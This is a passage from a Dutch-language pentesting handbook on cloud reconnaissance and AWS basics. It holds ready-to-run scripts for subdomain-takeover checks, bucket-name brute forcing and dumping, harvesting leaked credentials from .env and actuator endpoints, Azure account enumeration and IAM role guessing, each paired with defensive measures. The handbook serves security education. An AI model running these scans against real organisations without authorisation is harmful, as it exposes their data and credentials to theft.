Een bijzonder gevaarlijk scenario in cloud-omgevingen is de dangling DNS-record: een CNAME-record dat verwijst naar een cloud-service die niet meer bestaat. De DNS-record is er nog, maar de service erachter is opgeheven. Dit opent de deur voor subdomain takeover – een aanvaller kan de orphaned cloud-resource claimen en daarmee het subdomein overnemen.

# Zoek naar potentiele subdomain takeovers
# Stap 1: Verzamel subdomeinen
subfinder -d target.com -all -silent > subs.txt

# Stap 2: Check welke subdomeinen een CNAME hebben
cat subs.txt | while read sub; do
    cname=$(dig +short CNAME "$sub" 2>/dev/null)
    if [ -n "$cname" ]; then
        echo "$sub -> $cname"
    fi
done | tee cname-records.txt

# Stap 3: Filter op cloud providers
grep -iE "amazonaws|azurewebsites|cloudfront|trafficmanager|herokuapp|azureedge|azurefd|elasticbeanstalk|s3" cname-records.txt

# Stap 4: Check of de cloud resource nog bestaat
# Een NXDOMAIN of specifieke foutpagina duidt op takeover-mogelijkheid
cat cloud-cnames.txt | while read line; do
    sub=$(echo "$line" | awk '{print $1}')
    result=$(curl -s -o /dev/null -w "%{http_code}" "https://$sub" 2>/dev/null)
    echo "$sub: HTTP $result"
done

Veelvoorkomende signalen van kwetsbare subdomeinen:

Verdedigingsmaatregel: Implementeer een proces voor het opruimen van DNS-records wanneer cloud-resources worden opgeheven. Gebruik tools als subjack of nuclei met subdomain takeover templates om proactief te scannen. Overweeg CNAME-records te vermijden voor kritieke subdomeinen en gebruik in plaats daarvan A-records met IP-adressen die je beheert.

Let op: Subdomain takeover is niet alleen een theoretisch risico. Een aanvaller die een subdomein overneemt, kan phishing-pagina’s hosten onder het domein van de organisatie, cookies stelen die voor het hoofddomein zijn ingesteld, en SSL-certificaten aanvragen die er legitiem uitzien. Het is een van de meest onderschatte cloud-risico’s.

2.3 Storage bucket discovery

2.3.1 De digitale vuilnisbelt

Cloud storage buckets – S3 in AWS, Blob Storage in Azure, Cloud Storage in GCP – zijn de digitale equivalent van opslagruimtes. Organisaties gooien er alles in: backups, logbestanden, klantdata, configuratiebestanden, database dumps. En net als bij fysieke opslagruimtes vergeten ze regelmatig de deur op slot te doen.

Het fundamentele probleem is een mismatch tussen de standaardconfiguratie en de verwachting van de gebruiker. AWS S3 buckets zijn tegenwoordig standaard privaat – maar dat was niet altijd zo. En zelfs nu nog worden ze regelmatig verkeerd geconfigureerd, omdat het permissiemodel verwarrend is. Er zijn bucket-level policies, object-level ACLs, block public access settings, en IAM policies die allemaal met elkaar interageren op manieren die zelfs AWS-engineers niet in een zin kunnen uitleggen.

Het is alsof je een kluis hebt met vier verschillende sloten, drie codepanelen en een vingerafdrukscanner, maar als je een van de sloten openlaat, is de hele kluis open. Dat is S3 bucket security.

2.3.2 S3 Bucket Discovery

AWS S3 buckets hebben voorspelbare URL-patronen:

# Twee URL-stijlen
https://BUCKET.s3.amazonaws.com/
https://s3.amazonaws.com/BUCKET/

# Regio-specifiek
https://BUCKET.s3.REGION.amazonaws.com/
https://s3.REGION.amazonaws.com/BUCKET/

De truc is om de juiste bucketnaam te raden. Organisaties gebruiken voorspelbare patronen:

# Handmatig testen van veelvoorkomende naampatronen
for prefix in target target-com targetcompany target-company; do
    for suffix in "" -dev -staging -prod -backup -data -logs -assets \
                 -media -uploads -static -config -db -database -archive \
                 -internal -private -public -www -web -cdn -test -temp; do
        bucket="${prefix}${suffix}"
        status=$(curl -s -o /dev/null -w "%{http_code}" \
                 "https://${bucket}.s3.amazonaws.com/" 2>/dev/null)
        if [ "$status" != "404" ]; then
            echo "[${status}] ${bucket}"
        fi
    done
done

HTTP-statuscodes en wat ze betekenen:

Een 403 is geen doodlopende weg. Het bevestigt dat de bucket bestaat, wat op zichzelf al waardevolle informatie is. Bovendien kunnen individuele objecten in een niet-listbare bucket wel publiekelijk leesbaar zijn – het is een veelgemaakte configuratiefout.

2.3.3 Tools voor bucket discovery

S3Scanner is ontworpen voor het vinden en testen van S3 buckets:

# Installatie
pip3 install s3scanner

# Scan vanuit een woordenlijst
s3scanner scan --buckets-file bucket-names.txt

# Dump de inhoud van een publiekelijk toegankelijke bucket
s3scanner dump --bucket target-backup

# Controleer permissies
s3scanner scan --bucket target-company-prod

BlobHunter doet hetzelfde voor Azure Blob Storage:

# Installatie
pip3 install blobhunter

# Scan Azure Blob Storage
# Azure Blob URL patroon: https://ACCOUNT.blob.core.windows.net/CONTAINER
blobhunter -a targetcompany

Azure Blob Storage URLs volgen het patroon:

https://STORAGE_ACCOUNT.blob.core.windows.net/CONTAINER/BLOB

Net als bij S3 zijn de storage account-namen vaak voorspelbaar:

# Azure Blob Storage brute force
for account in target targetcompany targetdata targetbackup targetstorage; do
    for container in data backup logs files uploads assets config; do
        url="https://${account}.blob.core.windows.net/${container}?restype=container&comp=list"
        status=$(curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null)
        if [ "$status" != "404" ] && [ "$status" != "000" ]; then
            echo "[${status}] ${account}/${container}"
        fi
    done
done

GCP Cloud Storage heeft een vergelijkbaar patroon:

# GCP bucket URLs
# https://storage.googleapis.com/BUCKET/
# https://BUCKET.storage.googleapis.com/

# Brute force
for bucket in target target-prod target-backup target-data; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
             "https://storage.googleapis.com/${bucket}/" 2>/dev/null)
    if [ "$status" != "404" ]; then
        echo "[${status}] gs://${bucket}"
    fi
done

2.3.4 Naamgevingsconventies die je moet proberen

Organisaties zijn voorspelbaar. Dit zijn de meest voorkomende patronen voor storage buckets:

# Basis variaties
target
targetcompany
target-company
target.company
targetcom
target-com

# Omgevingen
target-dev
target-staging
target-prod
target-production
target-uat
target-test
target-qa

# Functie
target-backup
target-backups
target-data
target-database
target-db
target-logs
target-logging
target-media
target-uploads
target-assets
target-static
target-cdn
target-config
target-configuration
target-internal
target-private
target-archive
target-temp
target-tmp
target-public
target-web
target-www
target-images
target-documents
target-reports

# Met jaar/datum
target-backup-2024
target-backup-2025
target-data-2024
target-archive-2023

# Met regio
target-eu-west-1
target-us-east-1
target-eu
target-us

Het klinkt bijna te simpel. Dat is het ook. En toch werkt het. Herhaaldelijk. Bij grote organisaties. Met gevoelige data. Het is een van die momenten waarop je je afvraagt of de hele beveiligingsindustrie een groot sociaal experiment is.

Verdedigingsmaatregel: Gebruik onvoorspelbare namen voor storage buckets. Activeer “Block Public Access” op accountniveau in AWS. Gebruik Azure Private Endpoints. Configureer bucket policies die expliciete Deny bevatten voor publieke toegang. Monitor op public bucket-creatie via CloudTrail/Activity Log/Audit Log.

2.4 Cloud metadata fingerprinting

2.4.1 Hoe herken je welke cloud een target gebruikt?

Voordat je specifieke cloudaanvallen kunt uitvoeren, moet je weten welke cloudprovider het doelwit gebruikt. Soms is dat evident – een CNAME naar amazonaws.com laat weinig aan de verbeelding over. Maar vaak is de cloud-infrastructuur verborgen achter CDNs, load balancers en custom domeinnamen.

Er zijn meerdere technieken om de cloudprovider te identificeren:

2.4.2 HTTP headers

HTTP-responses bevatten verrassend veel informatie over de onderliggende infrastructuur:

# Haal HTTP headers op
curl -sI https://target.com

# Zoek naar cloud-specifieke headers
curl -sI https://target.com | grep -iE "x-amz|x-ms|x-goog|x-azure|server|x-cache|via"

2.4.3 IP-bereiken en ASN lookup

De cloudproviders publiceren hun IP-bereiken. Je kunt een IP-adres opzoeken om te bepalen bij welke provider het hoort:

# IP-adres van het target ophalen
target_ip=$(dig +short target.com | head -1)

# ASN lookup via whois
whois -h whois.cymru.com " -v $target_ip"

# Of via de Team Cymru bulk service
echo "$target_ip" | nc whois.cymru.com 43

# BGP/ASN lookup via ipinfo.io
curl -s "https://ipinfo.io/$target_ip" | jq '.org, .company.name'

De grote cloudproviders hebben herkenbare ASN-nummers:

AWS publiceert zijn volledige IP-bereik in JSON-formaat:

# Download AWS IP-bereiken
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json \
    | jq '.prefixes[] | select(.ip_prefix | startswith("'$(echo $target_ip | cut -d. -f1-2)'"))'

# Check of een IP in AWS zit
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json \
    | jq --arg ip "$target_ip" \
    '.prefixes[] | select(.ip_prefix as $prefix |
     ($ip | split(".") | .[0:2] | join(".")) ==
     ($prefix | split("/")[0] | split(".") | .[0:2] | join(".")))'

Azure en GCP publiceren vergelijkbare bestanden:

# Azure IP-bereiken (download link verandert regelmatig)
# Zoek op: "Azure IP Ranges and Service Tags" in Microsoft Download Center

# GCP IP-bereiken
dig TXT _cloud-netblocks.googleusercontent.com @ns1.google.com

2.4.4 Overige fingerprinting-methoden

# Nmap service detection op cloud ports
nmap -sV -p 443 target.com

# SSL-certificaat details
echo | openssl s_client -connect target.com:443 2>/dev/null \
    | openssl x509 -noout -text \
    | grep -E "Issuer|Subject|DNS"

# Bekijk de certificate chain -- cloud load balancers
# hebben vaak herkenbare intermediate certificates
echo | openssl s_client -connect target.com:443 -showcerts 2>/dev/null \
    | grep "s:/"

Cloudproviders gebruiken specifieke certificate authorities en patronen in hun TLS-certificaten. AWS Certificate Manager-certificaten worden uitgegeven door Amazon Trust Services. Azure-certificaten komen vaak van DigiCert of Microsoft IT TLS CA. Google gebruikt zijn eigen Google Trust Services. Het certificaat zelf is een vingerafdruk.

Verdedigingsmaatregel: Gebruik een CDN of reverse proxy voor je publiekelijk bereikbare endpoints. Verwijder overbodige HTTP-headers (veel webservers en frameworks lekken standaard informatie). Configureer custom domain names in plaats van de standaard cloud-domeinnamen. Geen van deze maatregelen maakt je onvindbaar, maar ze verhogen de drempel.

2.5 Credential hunting

2.5.1 Het digitale sleutelrek

Credentials zijn de sleutels tot de cloud. Een AWS access key geeft je API-toegang. Een Azure service principal met client secret geeft je Azure-toegang. Een GCP service account key geeft je GCP-toegang. En al deze sleutels worden met een deprimerende regelmaat achtergelaten op plekken waar ze niet horen.

Het probleem is structureel. Ontwikkelaars moeten credentials gebruiken om met cloud-APIs te praten. Die credentials moeten ergens staan. En “ergens” is te vaak een .env-bestand dat per ongeluk is gecommit, een Docker Compose-bestand met hardcoded wachtwoorden, of een Terraform state file die in een publieke S3 bucket ligt.

Het is het digitale equivalent van je huissleutel onder de deurmat leggen. Iedereen weet dat het daar ligt. Iedereen weet dat het geen goed idee is. En toch doen miljoenen mensen het elke dag.

2.5.2 Geautomatiseerde credential scanning

TruffleHog doorzoekt git-repositories op high-entropy strings en bekende credential-patronen:

# Scan een enkele repository
trufflehog git https://github.com/target-company/repo.git

# Scan een hele GitHub-organisatie
trufflehog github --org target-company

# Scan ook git history (waar verwijderde credentials nog leven)
trufflehog git https://github.com/target-company/repo.git --only-verified

# Scan een lokale directory
trufflehog filesystem /pad/naar/code

# Scan met JSON output voor verdere verwerking
trufflehog github --org target-company --json | jq '.'

TruffleHog v3 verifieert gevonden credentials automatisch – het probeert daadwerkelijk in te loggen met gevonden AWS keys, GitHub tokens, etc. Dit is enorm waardevol, maar het betekent ook dat je actief credentials test. Zorg dat je daar toestemming voor hebt.

Gitleaks is een alternatief met een focus op snelheid en configureerbaarheid:

# Scan een repository
gitleaks detect --source https://github.com/target-company/repo.git

# Scan met uitgebreide regex-patronen
gitleaks detect --source /pad/naar/repo -v

# Genereer een rapport
gitleaks detect --source /pad/naar/repo --report-format json --report-path leaks.json

# Alleen de huidige staat scannen (niet de history)
gitleaks detect --source /pad/naar/repo --no-git

2.5.3 Herkenbare credential-patronen

Weten waar je naar zoekt is het halve werk:

2.5.4 Pastebin en publieke dumps

Naast code repositories lekken credentials naar paste sites, forums, en publieke databases:

# Zoek op Pastebin (handmatig of via Google dorks)
# site:pastebin.com "target.com" "password"
# site:pastebin.com "target.com" "aws_access"

# Dehashed / breach databases (legale toegang vereist)
# Zoek op bedrijfsdomeinen voor gelekte credentials

# VirusTotal -- soms bevatten geanalyseerde malware samples hardcoded creds
# https://www.virustotal.com -- zoek op domeinnaam

2.5.5 .env bestanden en configuratie-endpoints

Een verbazingwekkend aantal webapplicaties heeft .env-bestanden die publiekelijk toegankelijk zijn. Dit bestand bevat doorgaans alle omgevingsvariabelen van de applicatie – inclusief database-credentials, API-keys en cloud-secrets.

# Test of .env publiekelijk toegankelijk is
curl -s https://target.com/.env
curl -s https://target.com/.env.local
curl -s https://target.com/.env.production
curl -s https://target.com/.env.backup

# Laravel-specifiek
curl -s https://target.com/.env
# Bevat vaak: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DB_PASSWORD

# Node.js configuratie
curl -s https://target.com/config.js
curl -s https://target.com/config.json

# Spring Boot actuator (vaak met cloud credentials)
curl -s https://target.com/actuator/env
curl -s https://target.com/actuator/configprops

De Spring Boot Actuator-endpoint /actuator/env is een bijzonder rijke bron. Het toont alle omgevingsvariabelen van de applicatie, inclusief AWS keys, database-wachtwoorden en interne service-URLs. Spring Boot maskeert gevoelige waarden standaard met sterretjes, maar oudere versies en misconfiguraties laten de volledige waarden zien.

Verdedigingsmaatregel: Gebruik secrets management (AWS Secrets Manager, Azure Key Vault, HashiCorp Vault). Blokkeer toegang tot .env bestanden in je webserver-configuratie. Schakel actuator endpoints uit of beveilig ze. Draai regelmatig geautomatiseerde scans met TruffleHog of Gitleaks op je eigen repositories. Roteer credentials onmiddellijk na een lek – verwijderen is niet genoeg.

2.6 Cloud API reconnaissance

2.6.1 Het onbeveiligde loket

Elke cloudprovider heeft API-endpoints die informatie weggeven zonder authenticatie. Niet per ongeluk – het is by design. De provider wil dat tools en services bepaalde informatie kunnen opvragen zonder dat je eerst inlogt. Het probleem is dat aanvallers dezelfde endpoints gebruiken.

2.6.2 AWS Account ID discovery

Een AWS account ID is een 12-cijferig getal dat uniek is voor elke AWS-account. Op zichzelf lijkt het onschuldig. Maar met een account ID kun je IAM-rollen raden, S3 bucket policies analyseren, en cross-account aanvallen voorbereiden.

# Methode 1: Via een publiekelijk toegankelijke S3 bucket
# Als je een bucket vindt, staat de account ID vaak in de bucket policy
aws s3api get-bucket-policy --bucket target-public-bucket --no-sign-request 2>/dev/null \
    | jq -r '.Policy' | jq '.Statement[].Principal.AWS'

# Methode 2: Via STS en een bekende IAM-rol
# Als je een AWS access key hebt (zelfs met minimale rechten):
aws sts get-caller-identity
# Output bevat: Account ID, ARN, UserId

# Methode 3: Via IAM role enumeration (met geldige credentials)
# Probeer AssumeRole met geraden rolnamen
for role in admin AdminRole ec2-role lambda-role; do
    aws sts assume-role \
        --role-arn "arn:aws:iam::ACCOUNT_ID:role/$role" \
        --role-session-name test 2>&1 \
        | grep -v "AccessDenied" && echo "Role exists: $role"
done

# Methode 4: Via error messages
# Veel AWS services lekken de account ID in foutmeldingen
# Bijv. een 403 op een S3 object kan de bucket-owner account ID bevatten

Een bijzonder slimme techniek is het gebruik van s3:GetBucketPolicy op publieke buckets. Als een bucket een policy heeft die verwijst naar een specifiek AWS-account, staat dat account ID letterlijk in de policy. Het is alsof de eigenaar van een kluis zijn naam en adres op de buitenkant heeft gegraveerd.

2.6.3 Azure Tenant Enumeration

Azure Active Directory (nu Entra ID) tenants zijn enumereerbaar via publieke endpoints. Je kunt bepalen of een organisatie Azure gebruikt, wat hun tenant ID is, en welke domeinen eraan gekoppeld zijn.

# Check of een domein Azure AD/Entra ID gebruikt
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" \
    | jq '.authorization_endpoint'
# Als het een geldig antwoord geeft, gebruikt het bedrijf Azure AD

# Haal de tenant ID op
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" \
    | jq -r '.token_endpoint' \
    | grep -oP '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'

# Alternatief: via de GetCredentialType API
# Bepaalt of een account bestaat en welk authenticatieprotocol wordt gebruikt
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
    -H "Content-Type: application/json" \
    -d '{"Username":"admin@target.com"}' \
    | jq '.IfExistsResult'
# 0 = account bestaat, 1 = account bestaat niet, 5 = bestaat niet,
# 6 = bestaat in een ander domein

# Enumereer gebruikersnamen (voorzichtig: kan rate-limited worden)
for user in admin info hr finance ceo cfo; do
    result=$(curl -s -X POST \
        "https://login.microsoftonline.com/common/GetCredentialType" \
        -H "Content-Type: application/json" \
        -d "{\"Username\":\"${user}@target.com\"}" \
        | jq -r '.IfExistsResult')
    echo "$user@target.com: $result"
done

Die GetCredentialType API is een van de meest misbruikte Azure-endpoints. Het was bedoeld om de login-ervaring te verbeteren – zodat de browser weet of het Microsoft-authenticatie of federatie moet gebruiken. Het neveneffect is dat je kunt enumereren welke accounts bestaan. Microsoft heeft rate limiting toegevoegd, maar met voldoende geduld kun je nog steeds een aanzienlijke lijst opbouwen.

2.6.4 GCP Project Discovery

GCP gebruikt project IDs als primaire organisatie-eenheid. Projects zijn minder makkelijk te enumereren dan AWS accounts of Azure tenants, maar er zijn methoden:

# GCP project IDs lekken vaak in:
# - Firebase configuraties (publiekelijk in JavaScript)
# - Cloud Storage bucket names (vaak: PROJECT_ID.appspot.com)
# - Error messages van GCP services
# - Google APIs die project IDs bevatten in URLs

# Check Firebase configuratie
curl -s "https://target.com/__/firebase/init.json" 2>/dev/null | jq '.'

# Firebase projecten zoeken
curl -s "https://target.firebaseio.com/.json"
# Als dit data retourneert, is de Firebase database publiekelijk leesbaar

# GCP API discovery via CORS misconfigs
# App Engine apps zijn bereikbaar via: PROJECT_ID.appspot.com
for project in target targetapp target-prod target-api; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "https://${project}.appspot.com")
    if [ "$status" != "404" ] && [ "$status" != "000" ]; then
        echo "[${status}] ${project}.appspot.com"
    fi
done

Firebase-databases zijn een bijzonder veelvoorkomend doelwit. De Firebase Realtime Database is standaard beveiligd met regels, maar ontwikkelaars overschrijven die regels regelmatig met ".read": true om tijdens de ontwikkeling makkelijker te kunnen testen. En dan vergeten ze het terug te zetten. Het resultaat: complete databases met gebruikersgegevens, berichten, en applicatiedata die door iedereen te lezen zijn via een simpele HTTP-request.

Verdedigingsmaatregel: Beperk de informatie die publieke API-endpoints weggeven. Gebruik Smart Lockout in Azure AD om brute force te detecteren. Beveilig Firebase met adequate security rules. Monitor login-pogingen op ongebruikelijke patronen.

2.7 SSL/TLS en cloud

2.7.1 Certificaten als informatiebron

SSL/TLS-certificaten zijn meer dan een beveiligingsmechanisme – ze zijn een informatiebron. Elk certificaat bevat de domeinnamen waarvoor het is uitgegeven (Subject Alternative Names), de issuer, de geldigheidsperiode, en soms zelfs organisatie-informatie. In cloudcontexten onthullen certificaten vaak de onderliggende infrastructuur.

# Haal certificaatdetails op
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -text

# Alleen Subject Alternative Names (alle domeinen op het certificaat)
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -ext subjectAltName

# Bekijk de volledige certificate chain
echo | openssl s_client -connect target.com:443 -servername target.com -showcerts 2>/dev/null

# Haal de issuer op (onthult vaak cloud-specifieke CA)
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -issuer

2.7.2 Wildcard certificaten

Wildcard certificaten (*.target.com) zijn bijzonder informatief in cloudomgevingen. Een wildcard certificaat op een cloud load balancer beschermt vaak tientallen subdomeinen – en de SAN-lijst onthult ze allemaal.

Maar er is een subtiel risico: als een organisatie een wildcard certificaat gebruikt voor al hun cloud-services, dan deelt elke service dezelfde private key. Compromitteer een service, en je hebt de TLS-private key voor alles.

2.7.3 Cloud load balancer detectie

Cloud load balancers hebben herkenbare kenmerken in hun TLS-configuratie:

# Detecteer het type load balancer via TLS
# AWS ALB/NLB: Amazon-uitgegeven certificaten
# Azure Application Gateway: Microsoft-uitgegeven certificaten
# GCP HTTPS Load Balancer: Google-uitgegeven certificaten

# Gebruik testssl.sh voor uitgebreide TLS-analyse
testssl.sh --quiet target.com

# Of sslyze voor geautomatiseerde checks
sslyze target.com --regular

Verdedigingsmaatregel: Gebruik managed certificates van de cloudprovider – ze roteren automatisch. Vermijd wildcard certificaten waar mogelijk; gebruik in plaats daarvan SAN-certificaten met alleen de benodigde domeinnamen. Configureer TLS-policies die alleen sterke cipher suites toestaan.

2.8 IB voor cloud recon

2.8.1 Relevante Command Library items

Het IB-dashboard bevat command files die specifiek zijn ontworpen voor cloud reconnaissance. Hier is een overzicht van de relevante commando’s:

# Via de IB Command Library (/dashboard/commands)
# Zoek op 'recon_' voor alle reconnaissance commands

# DNS Recon
# Command: recon_dns
# Bevat: dig, host, dnsrecon, dnsenum, zone transfer attempts

# OSINT
# Command: recon_osint
# Bevat: theHarvester, Shodan CLI, recon-ng modules

# SCCM Recon (vaak hybride cloud/on-prem)
# Command: recon_sccm
# Bevat: SCCM enumeration voor hybride omgevingen

IB Tip: Maak een workflow aan die DNS recon, CT log enumeration, en cloud fingerprinting combineert. Start met recon_dns voor basis DNS-informatie, gebruik de output om cloud providers te identificeren, en zoek vervolgens gericht naar storage buckets en API endpoints. De Tasks-pagina kan meerdere recon-tools sequentieel uitvoeren.

2.8.2 Resultaten organiseren

Cloud recon genereert veel data. Organiseer het systematisch:

# Maak een directory structuur aan
mkdir -p raw/cloud/{dns,ct,buckets,creds,apis,fingerprints}

# Sla resultaten op per categorie
subfinder -d target.com -all -o raw/cloud/dns/subdomains.txt
# CT logs naar raw/cloud/ct/
# Bucket scans naar raw/cloud/buckets/
# Credential scans naar raw/cloud/creds/
# API recon naar raw/cloud/apis/
# Fingerprinting naar raw/cloud/fingerprints/

IB Tip: Gebruik de Notes-functie in IB om je cloud recon-bevindingen per categorie te documenteren. Maak een note aan voor elke cloudprovider die je identificeert, met de gevonden services, endpoints, en potentiele kwetsbaarheden. Deze notes vormen de basis voor je aanvalsstrategie in de volgende hoofdstukken.

2.9 Verdedigingsmaatregelen: een samenvatting

Het cynische deel van dit hoofdstuk zou hier kunnen eindigen met de observatie dat alles wat we hierboven hebben beschreven, voorkomen had kunnen worden met basishygiene. Maar laten we constructief zijn.

De rode draad: de meeste cloudlekken zijn geen softwarekwetsbaarheden. Het zijn configuratiefouten. En configuratiefouten zijn menselijke fouten. En menselijke fouten zijn onvermijdelijk. De enige verdediging is automatisering: beleid dat wordt afgedwongen door code, niet door procedures die in een SharePoint-document staan dat niemand leest.

2.10 De ongemakkelijke waarheid over cloud reconnaissance

Laten we eerlijk zijn. Alles wat we in dit hoofdstuk hebben besproken – DNS-records opvragen, CT logs doorzoeken, storage buckets raden, credentials zoeken op GitHub – het is niet geavanceerd. Het vereist geen diepe technische kennis. Het vereist geen custom tools of zero-days. Het vereist geduld, systematiek, en het vermogen om in Google te zoeken.

En dat is precies wat het zo verontrustend maakt.

De gemiddelde cloud-omgeving is niet kwetsbaar vanwege geavanceerde aanvallen. Het is kwetsbaar omdat iemand een S3 bucket bedrijfsnaam-backup heeft genoemd en vergeten is om de publieke toegang uit te schakelen. Omdat een ontwikkelaar een AWS access key in een Docker Compose-bestand heeft gezet en dat bestand naar GitHub heeft gepusht. Omdat de IT-afdeling een subdomein heeft aangemaakt voor een testomgeving, die testomgeving heeft opgeheven, en het DNS-record heeft laten staan.

Het is geen malice. Het is vergeetachtigheid op industriele schaal. En de cloud maakt het erger, niet beter. In een traditioneel netwerk zijn je fouten tenminste verborgen achter een firewall. In de cloud staan ze aan de weg, met een neonbord erboven.

De enige troost? Als pentester is dit goed nieuws. Er is altijd iets te vinden.

2.11 Referentietabel

Volgende hoofdstuk: Hoofdstuk 3 – AWS Aanvallen

AWS Aanvallen

“AWS is als een stad met tienduizend deuren. De meeste zitten op slot. Maar de paar die dat niet doen, leiden allemaal naar dezelfde kluis.”

Het Amazone-oerwoud

Er is een zekere ironie aan het feit dat de grootste cloudomgeving ter wereld is vernoemd naar een tropisch regenwoud. Net als het echte Amazonegebied is AWS een ecosysteem van onvoorstelbare complexiteit, waar alles met alles verbonden is op manieren die niemand volledig begrijpt. Er leven diensten in het AWS-ecosysteem die zo obscuur zijn dat zelfs AWS-medewerkers ze niet kennen. Er zijn permissiemodellen die zo verweven zijn dat het wijzigen van een enkele IAM-policy een keten van gevolgen kan hebben die zich door tien services verspreidt.

Maar in tegenstelling tot het echte Amazonegebied, waar elke millimeter is geoptimaliseerd door miljoenen jaren evolutie, is de AWS-omgeving van de gemiddelde organisatie een rommeltje. Permissions die te breed zijn omdat iemand haast had. Rollen die aan iedereen zijn gekoppeld omdat niemand begreep hoe het wel moest. Security groups die 0.0.0.0/0 toestaan op poort 22 “omdat het anders niet werkte.”

In dit hoofdstuk nemen we AWS systematisch onder de loep. We beginnen bij de fundamenten – IAM, het permissiemodel dat alles bij elkaar houdt – en werken ons op naar specifieke aanvalstechnieken op S3, EC2, Lambda, en STS. Bij elke stap laten we zien hoe organisaties het verkeerd doen, hoe je het uitbuit, en hoe het beter kan.

Want dat is uiteindelijk het punt. Niet het breken. Het begrijpen. En dan het fixen.

IB Tip: De Command Library bevat AWS-specifieke commands. Veel technieken in dit hoofdstuk zijn beschikbaar als command files die je kunt kopieren en aanpassen met je target-specifieke waarden. De [host] placeholder in IB wordt automatisch vervangen door het geconfigureerde IP-adres.

3.1 AWS fundamenten voor pentesters

3.1.1 IAM: het zenuwstelsel

Identity and Access Management (IAM) is het meest fundamentele en tegelijkertijd meest verkeerd begrepen onderdeel van AWS. Het bepaalt wie wat mag doen met welke resource. En als je het verkeerd configureert – wat bijna iedereen doet – dan bepaalt het dat iedereen alles mag doen met elke resource.

IAM kent vier kernbegrippen:

Users zijn identiteiten voor mensen of applicaties. Elke user heeft een unieke naam, optioneel een wachtwoord voor de console, en optioneel access keys voor API-toegang. Het probleem met users is dat ze permanent zijn. Een access key die wordt aangemaakt voor een deployment script, bestaat voor altijd – tenzij iemand hem actief verwijdert. En niemand verwijdert hem actief.

Groups zijn verzamelingen van users. Ze bestaan om het beheer te vereenvoudigen: in plaats van dezelfde rechten aan tien users te koppelen, maak je een groep aan en koppel je de rechten aan de groep. In theorie. In de praktijk worden rechten zowel aan groepen als aan individuele users gekoppeld, waardoor het overzicht verloren gaat als sneeuw voor de zon.

Roles zijn tijdelijke identiteiten die door services, users, of externe accounts kunnen worden aangenomen via AssumeRole. Een EC2-instantie draait onder een role. Een Lambda-functie draait onder een role. Een gebruiker in een andere AWS-account kan een role aannemen om cross-account toegang te krijgen. Roles zijn het primaire doelwit voor privilege escalation, want ze zijn ontworpen om overgedragen te worden.

Policies zijn JSON-documenten die permissies definiëren. Ze worden gekoppeld aan users, groups en roles. Er zijn twee soorten: AWS managed policies (door AWS beheerd, breed, vaak te breed) en customer managed policies (door de klant gemaakt, soms breder dan de AWS-versies).

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

Dit is een simpele policy. Het staat toe dat de entiteit waaraan het is gekoppeld, objecten mag lezen uit een specifieke S3 bucket. Klinkt onschuldig. Maar vervang s3:GetObject door * en arn:aws:s3:::my-bucket/* door *, en je hebt God Mode:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Dit is de AdministratorAccess policy. Het geeft volledige toegang tot alles in het AWS-account. En je zou niet geloven hoeveel organisaties deze policy aan development-users koppelen “omdat het anders niet werkt.” Het is het digitale equivalent van iedereen een loper geven voor het hele kantoor, inclusief de kluis, de serverruimte en het kantoor van de directeur. Omdat het handig is.

3.1.2 ARN-structuur

Amazon Resource Names (ARNs) zijn de unieke identifiers voor elke resource in AWS. Ze volgen een vast formaat:

arn:aws:SERVICE:REGION:ACCOUNT_ID:RESOURCE_TYPE/RESOURCE_NAME

Voorbeelden:

# IAM User
arn:aws:iam::123456789012:user/john

# IAM Role
arn:aws:iam::123456789012:role/EC2AdminRole

# S3 Bucket
arn:aws:s3:::my-bucket

# S3 Object
arn:aws:s3:::my-bucket/secret-file.txt

# EC2 Instance
arn:aws:ec2:eu-west-1:123456789012:instance/i-0abcdef1234567890

# Lambda Function
arn:aws:lambda:eu-west-1:123456789012:function:my-function

# Secrets Manager Secret
arn:aws:secretsmanager:eu-west-1:123456789012:secret:prod/db/password-AbCdEf

Let op: IAM en S3 ARNs bevatten geen regio. IAM is een globale service. S3-bucketnamen zijn ook globaal uniek – er kan maar een bucket bestaan met een bepaalde naam, ongeacht de regio.

Het begrijpen van ARN-structuur is essentieel voor het lezen van IAM-policies en het identificeren van misconfiguraties. Als een policy Resource: "arn:aws:s3:::*" bevat, geldt het voor alle S3 buckets. Als het Resource: "*" bevat, geldt het voor alle resources in alle services.

3.1.3 Regio’s en services

AWS opereert in meer dan dertig regio’s wereldwijd. Elke regio is een fysiek gescheiden cluster van datacenters. De meeste AWS-services zijn regio-specifiek: een EC2-instantie in eu-west-1 (Ierland) bestaat niet in us-east-1 (Virginia). Maar sommige services zijn globaal: IAM, Route 53, CloudFront, en S3 (hoewel S3-data fysiek in een regio staat).

Dit heeft implicaties voor pentesters: als je een AWS-omgeving enumereert, moet je elke regio checken. Een organisatie met haar productie in eu-west-1 kan een vergeten testomgeving hebben in ap-southeast-1. En die testomgeving heeft misschien diezelfde brede IAM-policies als de productieomgeving.

# Alle beschikbare regio's oplijsten
aws ec2 describe-regions --output table

# Veelgebruikte regio's
# eu-west-1     Ireland
# eu-central-1  Frankfurt
# us-east-1     N. Virginia (de default, en de oudste)
# us-west-2     Oregon
# ap-southeast-1 Singapore

3.2 IAM Enumeration

3.2.1 Wie ben ik?

De eerste vraag bij het verkennen van een AWS-omgeving is altijd: wie ben ik? Welke identiteit gebruik ik, en wat mag die identiteit?

# Wie ben ik?
aws sts get-caller-identity

